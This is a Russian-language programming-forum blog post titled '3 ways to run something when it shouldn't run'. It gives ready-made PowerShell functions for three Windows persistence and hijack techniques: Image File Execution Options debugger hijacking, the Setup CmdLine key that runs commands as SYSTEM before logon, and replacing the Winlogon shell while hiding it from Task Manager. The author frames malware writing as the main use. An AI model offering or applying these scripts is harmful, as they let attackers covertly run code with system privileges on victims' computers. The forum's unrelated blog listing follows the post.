Форум программистов, компьютерный форум, киберфорум
nekit270
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
Добро пожаловать, здесь я программирую бессмысленно и беспощадно

3 способа запустить что-либо тогда, когда не надо

Запись от nekit270 размещена 19.12.2023 в 14:13
Показов 1867 Комментарии 0

Собственно, зачем нужно запускать что-либо тогда, когда юзер этого не хочет? Тут есть два варианта: либо ради безопасности компьютера/сети/психики детей (нужное подчеркнуть), либо тот вариант, "который приличные люди не называют", а я назову, ведь после использования eval для реализации лямбд в (почти) всеми нами любимом питончике, меня навряд ли можно считать приличным человеком. И этот вариант - вирусописательство, что я конечно же осуждаю, но инструкции и код все равно оставлю

Итак, теперь кран с водой можно закрывать и переходить к делу.

1. Вместо запуска приложения

Можно устроить юзеру подлянку, и вместо его любимой программки запустить что угодно кроме того, что он хотел открыть изначально.
У этого способа есть небольшой недостаток - при переименовании файла юзер свое таки получит.

Сам способ заключается в том, чтобы пропихнуть нужное приложение в качестве отладчика для ненужного, для этого нужно создать в HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options раздел с именем требуемого exe-шника, а в нем создать параметр Debugger, в который запихнуть команду.

Реализация на powershell:
PowerShell
1
2
3
4
5
6
7
8
9
10
11
12
function Invoke-OnFileRun {
    param (
        [Parameter(Mandatory)]
        [string] $File,
        [Parameter(Mandatory)]
        [string] $Command
    )
 
    $regKey = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$File"
    New-Item $regKey -Force | Out-Null
    New-ItemProperty $regKey -Name "Debugger" -PropertyType String -Value $Command -Force | Out-Null
}
Учтите, что помимо тех данных, что были туда записаны, в команду попадет еще и путь к файлу, так что, если он не нужен, позаботьтесь, чтобы он не помешал. Например, для cmd это можно сделать так:
PowerShell
1
Invoke-OnFileRun -File test.exe -Command "cmd /c <команда> & rem"
Добавление команды rem в конце позволяет "закомментровать" добавляемые системой данные, чтобы они не вызвали ошибку.

Внимание! Если команда слишком длинная, она может не выполниться, поэтому лучше засовывайте длинные команды в bat-файл и используйте путь к нему.

2. Во время загрузки системы

Это не имеет ничего общего с автозагрузкой, выполняется ДО входа пользователя, а следовательно, от имени системы.

Для этого способа нужно в разделе HKLM\SYSTEM\Setup установить параметру SetupType значение 2, а CmdLine - требуемую команду.

Реализация на powershell:
PowerShell
1
2
3
4
5
6
7
8
function Invoke-OnSystemStartup {
    param (
        [Parameter(Mandatory)]
        [string] $Command
    )
    Set-ItemProperty "HKLM:\System\Setup" -Name SetupType -Value 2 -Force | Out-Null
    Set-ItemProperty "HKLM:\System\Setup" -Name CmdLine -Value $Command -Force | Out-Null
}
Но свойство SetupType после каждой загрузки сбрасывается, поэтому позаботьтесь о том, чтобы команда возвращала ему значение 2, например так:
PowerShell
1
Invoke-OnSystemStartup -Command "cmd /c <команда> & reg add HKLM\System\Setup /v CmdLine /d 2 /t REG_DWORD /f"
Внимание! Если команда слишком длинная, она может не выполниться, поэтому лучше засовывайте длинные команды в bat-файл и используйте путь к нему.

3. Вместо оболочки

Это уже ближе к автозагрузке, но все еще не отображается в диспетчере задач, поэтому вполне подойдет под определение "тогда, когда не надо"

Для этого нужно в разделе HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon задать параметру Shell нужную вам команду, а также задать AutoRestartShell значение 0, чтобы команда не перезапускалась после завершения.

Реализация на powershell:
PowerShell
1
2
3
4
5
6
7
8
9
function Invoke-AsShell {
    param (
        [Parameter(Mandatory)]
        [string] $Command
    )
 
    Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "AutoRestartShell" -Value 0 -Force | Out-Null
    Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell" -Value $Command -Force | Out-Null
}
Ваша команда должна запускать explorer.exe (нужно же юзеру все-таки компом дать попользоваться), например так:
PowerShell
1
Invoke-AsShell -Command "cmd /c <команда> & start explorer.exe"
Размещено в Без категории
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
Всего комментариев 0
Комментарии
 
Новые блоги и статьи
Музыка, написанная Искусственным Интеллектом
volvo 04.12.2025
Всем привет. Некоторое время назад меня заинтересовало, что уже умеет ИИ в плане написания музыки для песен, и, собственно, исполнения этих самых песен. Стихов у нас много, уже вышли 4 книги, еще 3. . .
От async/await к виртуальным потокам в Python
IndentationError 23.11.2025
Армин Ронахер поставил под сомнение async/ await. Создатель Flask заявляет: цветные функции - провал, виртуальные потоки - решение. Не threading-динозавры, а новое поколение лёгких потоков. Откат?. . .
Поиск "дружественных имён" СОМ портов
Argus19 22.11.2025
Поиск "дружественных имён" СОМ портов На странице: https:/ / norseev. ru/ 2018/ 01/ 04/ comportlist_windows/ нашёл схожую тему. Там приведён код на С++, который показывает только имена СОМ портов, типа,. . .
Сколько Государство потратило денег на меня, обеспечивая инсулином.
Programma_Boinc 20.11.2025
Сколько Государство потратило денег на меня, обеспечивая инсулином. Вот решила сделать интересный приблизительный подсчет, сколько государство потратило на меня денег на покупку инсулинов. . . .
Ломающие изменения в C#.NStar Alpha
Etyuhibosecyu 20.11.2025
Уже можно не только тестировать, но и пользоваться C#. NStar - писать оконные приложения, содержащие надписи, кнопки, текстовые поля и даже изображения, например, моя игра "Три в ряд" написана на этом. . .
Мысли в слух
kumehtar 18.11.2025
Кстати, совсем недавно имел разговор на тему медитаций с людьми. И обнаружил, что они вообще не понимают что такое медитация и зачем она нужна. Самые базовые вещи. Для них это - когда просто люди. . .
Создание Single Page Application на фреймах
krapotkin 16.11.2025
Статья исключительно для начинающих. Подходы оригинальностью не блещут. В век Веб все очень привыкли к дизайну Single-Page-Application . Быстренько разберем подход "на фреймах". Мы делаем одну. . .
Фото: Daniel Greenwood
kumehtar 13.11.2025
Расскажи мне о Мире, бродяга
kumehtar 12.11.2025
— Расскажи мне о Мире, бродяга, Ты же видел моря и метели. Как сменялись короны и стяги, Как эпохи стрелою летели. - Этот мир — это крылья и горы, Снег и пламя, любовь и тревоги, И бескрайние. . .
PowerShell Snippets
iNNOKENTIY21 11.11.2025
Модуль PowerShell 5. 1+ : Snippets. psm1 У меня модуль расположен в пользовательской папке модулей, по умолчанию: \Documents\WindowsPowerShell\Modules\Snippets\ А в самом низу файла-профиля. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2025, CyberForum.ru